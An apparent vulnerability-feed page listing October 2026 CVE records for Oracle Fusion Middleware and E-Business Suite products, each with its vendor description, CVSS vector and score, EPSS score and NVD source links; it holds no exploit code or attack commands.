Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91354).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91354&date=2026-10-25).
Sources:
NVD CVE-2026-91354: https://nvd.nist.gov/vuln/detail/CVE-2026-91354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91354&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91355
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91355).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91355&date=2026-10-25).
Sources:
NVD CVE-2026-91355: https://nvd.nist.gov/vuln/detail/CVE-2026-91355
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91355&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)).
https://kevwire.com/record/CVE-2026-91358
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)). (Oct 20, 2026).
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91358).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91358&date=2026-10-25).
Sources:
NVD CVE-2026-91358: https://nvd.nist.gov/vuln/detail/CVE-2026-91358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91358&date=2026-10-25
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: Case management  Service (11g+)).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Process Management Suite accessible data as well as  unauthorized update, insert or delete access to some of Oracle Business Process Management Suite accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101831
Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Quality.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Quality accessible data as well as  unauthorized access to critical data or complete access to all Oracle Quality accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101831).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101831&date=2026-10-25).
Sources:
NVD CVE-2026-101831: https://nvd.nist.gov/vuln/detail/CVE-2026-101831
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101831&date=2026-10-25
Vulnerability in the Oracle Quality product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Quality.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Quality accessible data as well as  unauthorized access to critical data or complete access to all Oracle Quality accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101833
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Shipping Execution. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).
CVSS 7.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101833).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101833&date=2026-10-25).
Sources:
NVD CVE-2026-101833: https://nvd.nist.gov/vuln/detail/CVE-2026-101833
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101833&date=2026-10-25
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Shipping Execution. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).
https://kevwire.com/record/CVE-2026-101834
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events). (Oct 20, 2026).
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in takeover of Oracle Shipping Execution. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101834).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101834&date=2026-10-25).
Sources:
NVD CVE-2026-101834: https://nvd.nist.gov/vuln/detail/CVE-2026-101834
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101834&date=2026-10-25
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in takeover of Oracle Shipping Execution. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).
https://kevwire.com/record/CVE-2026-101835
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events). (Oct 20, 2026).
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101835).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101835&date=2026-10-25).
Sources:
NVD CVE-2026-101835: https://nvd.nist.gov/vuln/detail/CVE-2026-101835
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101835&date=2026-10-25
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Shipping Execution.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).
https://kevwire.com/record/CVE-2026-101837
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events). (Oct 20, 2026).
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  While the vulnerability is in Oracle Shipping Execution, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Shipping Execution as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and  unauthorized read access to a subset of Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H).
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101837).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101837&date=2026-10-25).
Sources:
NVD CVE-2026-101837: https://nvd.nist.gov/vuln/detail/CVE-2026-101837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101837&date=2026-10-25
Vulnerability in the Oracle Shipping Execution product of Oracle E-Business Suite (component: Workflow Events).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Shipping Execution.  While the vulnerability is in Oracle Shipping Execution, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Shipping Execution as well as  unauthorized update, insert or delete access to some of Oracle Shipping Execution accessible data and  unauthorized read access to a subset of Oracle Shipping Execution accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).
https://kevwire.com/record/CVE-2026-101840
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO). (Oct 20, 2026).
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101840).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101840&date=2026-10-25).
Sources:
NVD CVE-2026-101840: https://nvd.nist.gov/vuln/detail/CVE-2026-101840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101840&date=2026-10-25
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service).
https://kevwire.com/record/CVE-2026-101841
Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service). (Oct 20, 2026).
Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Global Order Promising.  While the vulnerability is in Global Order Promising, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Global Order Promising accessible data as well as  unauthorized access to critical data or complete access to all Global Order Promising accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101841).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101841&date=2026-10-25).
Sources:
NVD CVE-2026-101841: https://nvd.nist.gov/vuln/detail/CVE-2026-101841
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101841&date=2026-10-25
Vulnerability in the Global Order Promising product of Oracle E-Business Suite (component: Web Service).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Global Order Promising.  While the vulnerability is in Global Order Promising, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Global Order Promising accessible data as well as  unauthorized access to critical data or complete access to all Global Order Promising accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO).
https://kevwire.com/record/CVE-2026-101842
Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO). (Oct 20, 2026).
Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Strategic Network Optimization.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Strategic Network Optimization. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101842).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101842&date=2026-10-25).
Sources:
NVD CVE-2026-101842: https://nvd.nist.gov/vuln/detail/CVE-2026-101842
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101842&date=2026-10-25
Vulnerability in the Strategic Network Optimization product of Oracle E-Business Suite (component: Installation of SNO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Strategic Network Optimization.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Strategic Network Optimization. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101847
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101847).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101847&date=2026-10-25).
Sources:
NVD CVE-2026-101847: https://nvd.nist.gov/vuln/detail/CVE-2026-101847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101847&date=2026-10-25
Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance).
https://kevwire.com/record/CVE-2026-101849
Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance). (Oct 20, 2026).
Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Installed Base, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).
CVSS 7.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101849).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101849&date=2026-10-25).
Sources:
NVD CVE-2026-101849: https://nvd.nist.gov/vuln/detail/CVE-2026-101849
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101849&date=2026-10-25
Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Create Item Instance).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Installed Base, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI).
https://kevwire.com/record/CVE-2026-101851
Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI). (Oct 20, 2026).
Vulnerability in the Installed Base product of Oracle E-Business Suite (component: Data Provider UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Installed Base.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Installed Base accessible data as well as  unauthorized update, insert or delete access to some of Installed Base accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101851).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101851&date=2026-10-25).
Sources:
NVD CVE-2026-101851: https://nvd.nist.gov/vuln/detail/CVE-2026-101851
